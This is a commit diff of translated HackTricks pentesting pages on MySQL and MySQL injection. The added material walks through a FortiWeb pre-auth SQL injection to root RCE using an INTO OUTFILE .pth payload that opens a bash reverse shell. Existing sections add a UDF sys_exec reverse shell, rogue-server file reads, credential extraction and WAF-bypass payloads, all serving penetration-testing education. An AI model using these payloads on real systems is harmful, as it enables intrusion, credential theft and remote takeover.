mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-mysql.md', 'src/
This commit is contained in:
parent
8a394745a9
commit
839b7ba44a
@ -1,10 +1,15 @@
|
||||
# 3306 - Pentesting Mysql
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## References
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **基本情報**
|
||||
|
||||
**MySQL**は、無償で利用できるオープンソースの**リレーショナルデータベース管理システム (RDBMS)**として説明できます。これは、**構造化クエリ言語 (SQL)**で動作し、データベースの管理と操作を可能にします。
|
||||
**MySQL** は、無料で利用できるオープンソースの **リレーショナルデータベース管理システム (RDBMS)** として説明できます。これは **構造化クエリ言語 (SQL)** に基づいて動作し、データベースの管理と操作を可能にします。
|
||||
|
||||
**デフォルトポート:** 3306
|
||||
```
|
||||
@ -22,9 +27,9 @@ mysql -u root -p # A password will be asked (check someone)
|
||||
mysql -h <Hostname> -u root
|
||||
mysql -h <Hostname> -u root@localhost
|
||||
```
|
||||
## External Enumeration
|
||||
## 外部列挙
|
||||
|
||||
一部の列挙アクションには有効な資格情報が必要です
|
||||
いくつかの列挙アクションには有効な資格情報が必要です。
|
||||
```bash
|
||||
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
|
||||
msf> use auxiliary/scanner/mysql/mysql_version
|
||||
@ -78,7 +83,7 @@ quit;
|
||||
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
|
||||
mysql -u root -h 127.0.0.1 -e 'show databases;'
|
||||
```
|
||||
### MySQL 権限列挙
|
||||
### MySQLの権限列挙
|
||||
```sql
|
||||
#Mysql
|
||||
SHOW GRANTS [FOR user];
|
||||
@ -109,14 +114,51 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
||||
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
|
||||
{{#endref}}
|
||||
|
||||
## MySQLクライアントによる任意のファイルの読み取り
|
||||
#### INTO OUTFILE → Python `.pth` RCE(サイト固有の設定フック)
|
||||
|
||||
実際、**テーブルにローカルデータをロードする**とき、MySQLまたはMariaDBサーバーは**クライアントにファイルを読み取って**その内容を送信するように要求します。**したがって、mysqlクライアントを改ざんして自分のMySQLサーバーに接続できれば、任意のファイルを読み取ることができます。**\
|
||||
この動作は次のように使用されることに注意してください:
|
||||
古典的な `INTO OUTFILE` プリミティブを悪用することで、後に **Python** スクリプトを実行するターゲットで *任意のコード実行* を取得することが可能です。
|
||||
|
||||
1. `INTO OUTFILE` を使用して、`site.py` に自動的に読み込まれる任意のディレクトリ内にカスタム **`.pth`** ファイルをドロップします(例: `.../lib/python3.10/site-packages/`)。
|
||||
2. `.pth` ファイルには、`import ` で始まる *1行* の任意のPythonコードを含めることができ、インタープリタが起動するたびに実行されます。
|
||||
3. インタープリタがCGIスクリプトによって暗黙的に実行されるとき(例えば、`#!/bin/python` のシバンを持つ `/cgi-bin/ml-draw.py`)、ペイロードはウェブサーバープロセスと同じ特権で実行されます(FortiWebはそれを **root** として実行しました → 完全な事前認証RCE)。
|
||||
|
||||
例の `.pth` ペイロード(単一行、最終SQLペイロードにスペースを含めることはできないため、hex/`UNHEX()` または文字列連結が必要になる場合があります):
|
||||
```python
|
||||
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
|
||||
```
|
||||
**UNION** クエリを通じてファイルを作成する例(スペース文字は `/**/` に置き換えられ、`sscanf("%128s")` スペースフィルターを回避し、合計長を ≤128 バイトに保つ):
|
||||
```sql
|
||||
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
|
||||
```
|
||||
重要な制限事項とバイパス:
|
||||
|
||||
* `INTO OUTFILE` **は既存のファイルを上書きできません**; 新しいファイル名を選択してください。
|
||||
* ファイルパスは **MySQLのCWDに対して相対的に解決される**ため、`../../`をプレフィックスとして使用することでパスを短縮し、絶対パスの制限をバイパスできます。
|
||||
* 攻撃者の入力が`%128s`(または類似のもの)で抽出されると、任意のスペースがペイロードを切り詰めます; スペースを置き換えるためにMySQLコメントシーケンス`/**/`または`/*!*/`を使用してください。
|
||||
* クエリを実行するMySQLユーザーは`FILE`権限が必要ですが、多くのアプライアンス(例: FortiWeb)ではサービスが**root**として実行され、ほぼすべての場所に書き込みアクセスが与えられます。
|
||||
|
||||
`.pth`を削除した後、単にpythonインタープリタによって処理される任意のCGIをリクエストしてコード実行を取得します:
|
||||
```
|
||||
GET /cgi-bin/ml-draw.py HTTP/1.1
|
||||
Host: <target>
|
||||
```
|
||||
Pythonプロセスは悪意のある`.pth`を自動的にインポートし、シェルペイロードを実行します。
|
||||
```
|
||||
# Attacker
|
||||
$ nc -lvnp 4444
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
---
|
||||
|
||||
## MySQL クライアントによる任意のファイルの読み取り
|
||||
|
||||
実際に、**テーブルにローカルデータをロードする**際に、MySQL または MariaDB サーバーは **クライアントにファイルを読み取って** その内容を送信するように要求します。**したがって、mysql クライアントを改ざんして自分の MySQL サーバーに接続できれば、任意のファイルを読み取ることができます。**\
|
||||
この動作は次のようになります:
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
```
|
||||
(「local」という単語に注意してください)\
|
||||
(「local」という単語に注意してください)\
|
||||
「local」がないと、次のようになります:
|
||||
```bash
|
||||
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
@ -124,8 +166,8 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||
```
|
||||
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
**この論文では、攻撃の完全な説明と、RCEに拡張する方法を確認できます:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**ここでは攻撃の概要を見つけることができます:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
|
||||
|
||||
|
||||
@ -147,7 +189,7 @@ MySQLサービスの設定では、その操作とセキュリティ対策を定
|
||||
- **`user`** 設定は、MySQLサービスが実行されるユーザーを指定するために使用されます。
|
||||
- **`password`** は、MySQLユーザーに関連付けられたパスワードを設定するために適用されます。
|
||||
- **`admin_address`** は、管理ネットワークインターフェースでTCP/IP接続をリッスンするIPアドレスを指定します。
|
||||
- **`debug`** 変数は、現在のデバッグ設定を示し、ログ内に機密情報を含むことがあります。
|
||||
- **`debug`** 変数は、ログ内の機密情報を含む現在のデバッグ設定を示します。
|
||||
- **`sql_warnings`** は、警告が発生したときに単一行INSERT文のために情報文字列が生成されるかどうかを管理し、ログ内に機密データを含むことがあります。
|
||||
- **`secure_file_priv`** により、データのインポートおよびエクスポート操作の範囲が制限され、セキュリティが強化されます。
|
||||
|
||||
@ -171,16 +213,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||
```
|
||||
### 特権昇格 via ライブラリ
|
||||
|
||||
もし **mysqlサーバーがrootとして実行されている**(または他の特権のあるユーザーとして)場合、コマンドを実行させることができます。そのためには、**ユーザー定義関数**を使用する必要があります。そして、ユーザー定義を作成するには、mysqlが実行されているOS用の**ライブラリ**が必要です。
|
||||
もし**mysqlサーバーがroot**(または他の特権のあるユーザー)として実行されている場合、コマンドを実行させることができます。そのためには、**ユーザー定義関数**を使用する必要があります。そして、ユーザー定義を作成するには、mysqlが実行されているOS用の**ライブラリ**が必要です。
|
||||
|
||||
使用する悪意のあるライブラリは、sqlmap内やmetasploit内で **`locate "*lib_mysqludf_sys*"`** を実行することで見つけることができます。**`.so`** ファイルは **linux** ライブラリで、**`.dll`** は **Windows** のものです。必要なものを選んでください。
|
||||
使用する悪意のあるライブラリは、sqlmap内やmetasploit内で**`locate "*lib_mysqludf_sys*"`**を実行することで見つけることができます。**`.so`**ファイルは**linux**ライブラリで、**`.dll`**は**Windows**用のものです。必要なものを選んでください。
|
||||
|
||||
もし **それらのライブラリがない**場合は、**探す**か、この [**linux Cコード**](https://www.exploit-db.com/exploits/1518) をダウンロードして、**linuxの脆弱なマシン内でコンパイル**してください:
|
||||
もし**それらのライブラリがない**場合は、**探す**か、この[**linux Cコード**](https://www.exploit-db.com/exploits/1518)をダウンロードして、**linuxの脆弱なマシン内でコンパイル**してください:
|
||||
```bash
|
||||
gcc -g -c raptor_udf2.c
|
||||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||||
```
|
||||
今、ライブラリがあるので、特権ユーザー(root?)としてMysqlにログインし、次の手順に従ってください:
|
||||
ライブラリを取得したら、特権ユーザー(root?)としてMysqlにログインし、次の手順に従ってください:
|
||||
|
||||
#### Linux
|
||||
```sql
|
||||
@ -202,7 +244,7 @@ create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
|
||||
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
|
||||
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
|
||||
```
|
||||
#### Windows
|
||||
#### ウィンドウズ
|
||||
```sql
|
||||
# CHech the linux comments for more indications
|
||||
USE mysql;
|
||||
@ -216,13 +258,13 @@ SELECT sys_exec("net localgroup Administrators npn /add");
|
||||
```
|
||||
### MySQLの資格情報をファイルから抽出する
|
||||
|
||||
_/etc/mysql/debian.cnf_ 内には、ユーザー **debian-sys-maint** の **平文パスワード** が含まれています。
|
||||
_/etc/mysql/debian.cnf_ の中に、ユーザー **debian-sys-maint** の **平文パスワード** を見つけることができます。
|
||||
```bash
|
||||
cat /etc/mysql/debian.cnf
|
||||
```
|
||||
これらの資格情報を使用して**MySQLデータベースにログインできます**。
|
||||
これらの資格情報を使用して、mysqlデータベースにログインできます。
|
||||
|
||||
ファイル _/var/lib/mysql/mysql/user.MYD_ の中には、**MySQLユーザーのすべてのハッシュ**(データベース内のmysql.userから抽出できるもの)が見つかります_。
|
||||
ファイル _/var/lib/mysql/mysql/user.MYD_ の中には、**MySQLユーザーのすべてのハッシュ**(データベース内のmysql.userから抽出できるもの)が見つかります。
|
||||
|
||||
これらを抽出するには、次のようにします:
|
||||
```bash
|
||||
@ -230,7 +272,7 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
|
||||
```
|
||||
### ロギングの有効化
|
||||
|
||||
mysqlクエリのロギングを`/etc/mysql/my.cnf`で有効にするには、以下の行のコメントを外します。
|
||||
mysqlクエリのロギングを`/etc/mysql/my.cnf`内で有効にするには、以下の行のコメントを外します。
|
||||
|
||||
.png>)
|
||||
|
||||
@ -609,6 +651,7 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||
|
||||
```
|
||||
|
||||
## 参考文献
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -12,9 +12,9 @@
|
||||
/*! MYSQL Special SQL */
|
||||
/*!32302 10*/ Comment for MySQL version 3.23.02
|
||||
```
|
||||
## 興味深い機能
|
||||
## 興味深い関数
|
||||
|
||||
### Mysqlの確認:
|
||||
### Confirm Mysql:
|
||||
```
|
||||
concat('a','b')
|
||||
database()
|
||||
@ -48,6 +48,8 @@ strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
|
||||
```sql
|
||||
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
|
||||
```
|
||||
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
||||
|
||||
## フロー
|
||||
|
||||
「現代」の**MySQL**のバージョンでは、"_**information_schema.tables**_"を"_**mysql.innodb_table_stats**_**"**に置き換えることができることを覚えておいてください(これはWAFを回避するのに役立つかもしれません)。
|
||||
@ -62,7 +64,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
||||
- `group_concat()`
|
||||
- `Limit X,1`
|
||||
|
||||
### **ブラインド1つずつ**
|
||||
### **ブラインド一つずつ**
|
||||
|
||||
- `substr(version(),X,1)='r'` または `substring(version(),X,1)=0x70` または `ascii(substr(version(),X,1))=112`
|
||||
- `mid(version(),X,1)='5'`
|
||||
@ -77,7 +79,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
||||
|
||||
## 列の数を検出
|
||||
|
||||
単純なORDERを使用して
|
||||
単純なORDERを使用
|
||||
```
|
||||
order by 1
|
||||
order by 2
|
||||
@ -99,13 +101,13 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||||
```
|
||||
## SSRF
|
||||
|
||||
**ここで、** [**Mysqlインジェクションを悪用してSSRFを取得するためのさまざまなオプションを学びます**](mysql-ssrf.md)**。**
|
||||
**ここで、** [**Mysqlインジェクションを悪用してSSRFを取得するための異なるオプションを学びます**](mysql-ssrf.md)**。**
|
||||
|
||||
## WAFバイパストリック
|
||||
|
||||
### 準備されたステートメントを通じてクエリを実行する
|
||||
### プリペアドステートメントを通じてクエリを実行する
|
||||
|
||||
スタッククエリが許可されている場合、実行したいクエリの16進数表現を変数に割り当て(SETを使用)、その後PREPAREおよびEXECUTE MySQLステートメントを使用して最終的にクエリを実行することでWAFをバイパスできる可能性があります。次のようなものです:
|
||||
スタッククエリが許可されている場合、実行したいクエリの16進数表現を変数に割り当て(SETを使用)、その後PREPAREおよびEXECUTE MySQLステートメントを使用して最終的にクエリを実行することでWAFをバイパスできる可能性があります。こんな感じです:
|
||||
```
|
||||
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
|
||||
```
|
||||
@ -113,7 +115,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||||
|
||||
### Information_schemaの代替
|
||||
|
||||
「現代」の**MySQL**のバージョンでは、_**information_schema.tables**_を_**mysql.innodb_table_stats**_や_**sys.x$schema_flattened_keys**_、または**sys.schema_table_statistics**に置き換えることができることを覚えておいてください。
|
||||
「現代」の**MySQL**のバージョンでは、_**information_schema.tables**_を_**mysql.innodb_table_stats**_や_**sys.x$schema_flattened_keys**_、または**sys.schema_table_statistics**に置き換えることができることを忘れないでください。
|
||||
|
||||
### MySQLインジェクション(カンマなし)
|
||||
|
||||
@ -123,22 +125,44 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||||
```
|
||||
### 列名なしで値を取得する
|
||||
|
||||
もし、テーブルの名前はわかっているが、そのテーブル内の列の名前がわからない場合は、次のようなコマンドを実行して、列の数を調べることができます:
|
||||
もし、テーブルの名前はわかっているが、テーブル内の列の名前がわからない場合は、次のようなコマンドを実行して、列の数を調べることができます:
|
||||
```bash
|
||||
# When a True is returned, you have found the number of columns
|
||||
select (select "", "") = (SELECT * from demo limit 1); # 2columns
|
||||
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
|
||||
```
|
||||
フラグの内容を文字ごとに試してブルートフォースすることができます。最初の列がIDで、もう一つの列がフラグであると仮定します。
|
||||
2つの列があると仮定します(最初の列がIDで、もう1つの列がフラグです)。フラグの内容を文字ごとにブルートフォースしてみることができます:
|
||||
```bash
|
||||
# When True, you found the correct char and can start ruteforcing the next position
|
||||
select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
||||
```
|
||||
[https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)の詳細情報
|
||||
More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
||||
|
||||
### SPACESなしのインジェクション (`/**/` コメントトリック)
|
||||
|
||||
一部のアプリケーションは、`sscanf("%128s", buf)` のような関数を使用してユーザー入力をサニタイズまたは解析し、**最初のスペース文字で停止します**。
|
||||
MySQLは`/**/`のシーケンスをコメント*および*ホワイトスペースとして扱うため、クエリを文法的に有効に保ちながら、ペイロードから通常のスペースを完全に削除するために使用できます。
|
||||
|
||||
スペースフィルターをバイパスする時間ベースのブラインドインジェクションの例:
|
||||
```http
|
||||
GET /api/fabric/device/status HTTP/1.1
|
||||
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
|
||||
```
|
||||
データベースが受け取るものは:
|
||||
```sql
|
||||
' OR SLEEP(5)-- -'
|
||||
```
|
||||
これは特に便利です:
|
||||
|
||||
* 制御可能なバッファのサイズが制限されている場合(例:`%128s`)で、スペースが入力を早期に終了させる場合。
|
||||
* 通常のスペースが削除されるか、区切りとして使用されるHTTPヘッダーや他のフィールドを通じて注入する場合。
|
||||
* `INTO OUTFILE` プリミティブと組み合わせて、完全な事前認証RCEを達成する場合(MySQL File RCEセクションを参照)。
|
||||
|
||||
---
|
||||
|
||||
### MySQLの歴史
|
||||
|
||||
**sys.x$statement_analysis**テーブルを読み取ることで、他の実行を確認できます。
|
||||
MySQL内で他の実行を確認できます:**sys.x$statement_analysis**
|
||||
|
||||
### バージョンの代替**s**
|
||||
```
|
||||
@ -148,11 +172,12 @@ mysql> select version();
|
||||
```
|
||||
## その他のMYSQLインジェクションガイド
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user